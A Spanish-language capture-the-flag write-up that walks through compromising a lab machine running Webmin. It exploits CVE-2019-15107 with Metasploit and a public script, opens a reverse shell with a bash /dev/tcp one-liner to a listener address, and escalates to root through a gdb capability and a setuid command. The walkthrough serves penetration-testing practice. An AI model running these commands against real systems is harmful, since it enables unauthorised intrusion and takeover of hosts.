Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://thehackerslabs.com/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito, así también al ejecutarlo podemos ver que nos indica la dirección IP que tiene la máquina.
Realizamos un ping a la máquina para comprobar la conexión y observamos que sí tenemos.
Realizamos un escaneo de puertos y podemos observar que tenemos 2 puertos.
Ingresamos la dirección IP con el puerto 10000 y podemos observar que tenemos un panel de login.
Buscando credenciales por defecto para este sistema podemos observar que en la página de eset nos brindan unas que pueden ser. Ingresamos las credenciales. Pero no son correctas.
Revisando varias maneras de como abusar de este programa, encontramos varias, pero muchas necesitaban un usuario y password, pero encontramos 2 maneras de obtener una shell. La primera es usando metasploit
. Para ello debemos realizar lo siguiente. Luego de iniciarlo ingresamos el sistema y podremos observar varios módulos.
Seleccionaremos el módulo 7 y veremos los parámetros que debemos tener en cuenta.
Ingresamos los parámetros para ejecutar el programa y unos segundos después obtenemos una Shell.
La otra manera y más practica a mi parecer es clonando el siguiente repositorio.
git clone https://github.com/MuirlandOracle/CVE-2019-15107
Después nos dirigimos a la carpeta y ejecutamos el archivo.
cd CVE-2019-15107
python3 CVE-2019-15107.py <target-ip>
Luego de ingresar el comando podemos observar que obtuvimos una shell.
Para tener un Shell más estable, primero iniciaremos nuestro listener
en la shell que obtuvimos enviamos el siguiente comando.
bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'
Después de enviar el comando podemos observar que ya tenemos conexión en nuestra shell.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Una vez dentro nos dirigimos a la carpeta de usuario y podremos observar el flag
Nos dirigimos a la carpeta raíz y listamos los permisos SUID, pero no tenemos nada, listamos las capabilities donde podemos observar que tenemos el binario gdb
.
Para saber como hacer uso de ello podemos buscarlo en la página de GTFOBins y podemos observar como hacerlo.
Enviamos el comando y podemos observar que obtuvimos root. De esta manera culminando esta máquina.
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit